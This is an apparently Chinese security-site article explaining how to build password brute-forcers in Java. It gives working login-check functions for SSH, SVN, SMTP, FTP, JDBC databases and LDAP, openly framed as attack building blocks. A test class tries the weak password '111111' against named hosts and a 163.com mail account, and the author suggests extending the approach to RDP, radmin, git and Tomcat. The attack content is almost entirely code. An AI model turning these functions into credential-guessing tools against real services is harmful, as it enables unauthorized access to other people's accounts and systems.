Java爆破SVN、FTP、任何数据库、SMTP、SSH、LDAP

浏览:
字体:
发布时间:2013-12-13 14:31:17
来源:

Java有很多开源的项目,用java求连接FTP、数据库、SVN之类的其实都很方便。既然可以很easy的求连接,那么是不是可以简单的改下弄给爆破呢?于是默默的新建了一个名叫“@z7y”的项目......本文只提供方法不提供具体工具实现! 

 
Java连接SSH: 
package org.javaweb.util; import java.io.IOException; import ch.ethz.ssh2.Connection; public class Ssh {   public static boolean login(String host,int port,String user,String password){     boolean l = false;     try {       Connection conn = new Connection(host, port);       conn.connect();       l = conn.authenticateWithPassword(user, password);       conn.close();     } catch (IOException e) {       System.out.println(e.toString());     }     return l;   }    }

 

 
 
 
Java连接Svn: 
package org.javaweb.util; import org.tmatesoft.svn.core.SVNException; import org.tmatesoft.svn.core.SVNURL; import org.tmatesoft.svn.core.auth.ISVNAuthenticationManager; import org.tmatesoft.svn.core.io.SVNRepository; import org.tmatesoft.svn.core.io.SVNRepositoryFactory; import org.tmatesoft.svn.core.wc.SVNWCUtil; public class Svn {     @SuppressWarnings("deprecation")   public static boolean login(String url,String user,String pass){         SVNRepository repository = null;         try {             repository = SVNRepositoryFactory.create(SVNURL.parseURIDecoded(url));             ISVNAuthenticationManager authManager = SVNWCUtil.createDefaultAuthenticationManager(user,pass);             repository.setAuthenticationManager(authManager);             repository.testConnection();             return true;         } catch (SVNException e) {             System.out.println(e.toString());         }         return false;     } }

 

 
 
 
Java连接SMTP(mail): 
package org.javaweb.util; import java.util.Properties; import javax.mail.Session; import javax.mail.Transport; public class Mail {   public static boolean login(String host, int port, String user, String password) {     try {       Properties props = new Properties();       props.setProperty("mail.smtp.auth", "true");       props.setProperty("mail.transport.protocol", "smtp");       Session session = Session.getInstance(props);       Transport transport = session.getTransport();       transport.connect(host, port, user,password);       transport.close();       return true;     } catch (Exception e) {       System.out.println(e.toString());       return false;     }   } }

 

 
 
Java连接FTP: 
package org.javaweb.util; import org.apache.commons.net.ftp.FTPClient; public class Ftp {   public static boolean login(String host, int port, String user,String password) {     boolean f = false;         try {       FTPClient ftpClient = new FTPClient();             ftpClient.setConnectTimeout(3000);       ftpClient.connect(host);       ftpClient.setDefaultPort(port);             f = ftpClient.login(user,password);             if(ftpClient!=null){                 ftpClient.logout();                 ftpClient.disconnect();             }     } catch (Exception e) {             System.out.println(e.toString());         }     return f;   } }

 

 
 
Java连接数据库(Mysql只是示例,改下驱动的url和包驱动可以连接任何数据库): 
package org.javaweb.util; import java.sql.DriverManager; public class Database {   public static boolean login(String driver,String url,String user,String password){     try {       Class.forName(driver);             return DriverManager.getConnection(url, user, password)!=null;     } catch (Exception e) {             System.out.println(e.toString());         }     return false;   }    }

 

 
Java连接LDAP: 
package org.javaweb.util; import java.util.Hashtable; import javax.naming.Context; import javax.naming.directory.DirContext; import javax.naming.directory.InitialDirContext; public class Ldap {     private static DirContext ctx;     public static boolean login(String host,int port,String root,String user,String password) {         Hashtable<String,Object> env = new Hashtable<String, Object>();         env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");         env.put(Context.PROVIDER_URL, "ldap://"+host+":"+port+"/" + root);         env.put(Context.SECURITY_AUTHENTICATION, "simple");         env.put(Context.SECURITY_PRINCIPAL, "cn="+user );         env.put(Context.SECURITY_CREDENTIALS, password);         try {             ctx = new InitialDirContext(env);             ctx.close();             return true;         }catch (Exception e) {             System.out.println(e.toString());         }         return false;     }    }

 

 
 
测试代码: 
package org.javaweb.util; public class Test {      public static void main(String[] args) {         System.out.println(Ssh.login("ahack.net",22,"p2j.cn","111111"));         System.out.println(Ftp.login("p2j.cn",21,"p2j.cn","111111"));         System.out.println(Mail.login("smtp.163.com",25,"p2j@163.com","111111"));     System.out.println(Database.login("com.mysql.jdbc.Driver", "jdbc:mysql://localhost/", "root", "111111"));         System.out.println(Svn.login("svn://p2j.cn","svn","111111"));     } }

 

 
还有很多有意思的东西都可以试试,比如rdp、radmin、git等,Tomcat也可以爆破,之前发过了这里就不发了吧。
>更多相关文章
24小时热门资讯
24小时回复排行
资讯 | QQ | 安全 | 编程 | 数据库 | 系统 | 网络 | 考试 | 站长 | 关于东联 | 安全雇佣 | 搞笑视频大全 | 微信学院 | 视频课程 |
关于我们 | 联系我们 | 广告服务 | 免责申明 | 作品发布 | 网站地图 | 官方微博 | 技术培训
Copyright © 2007 - 2024 Vm888.Com. All Rights Reserved
粤公网安备 44060402001498号 粤ICP备19097316号 请遵循相关法律法规
');})();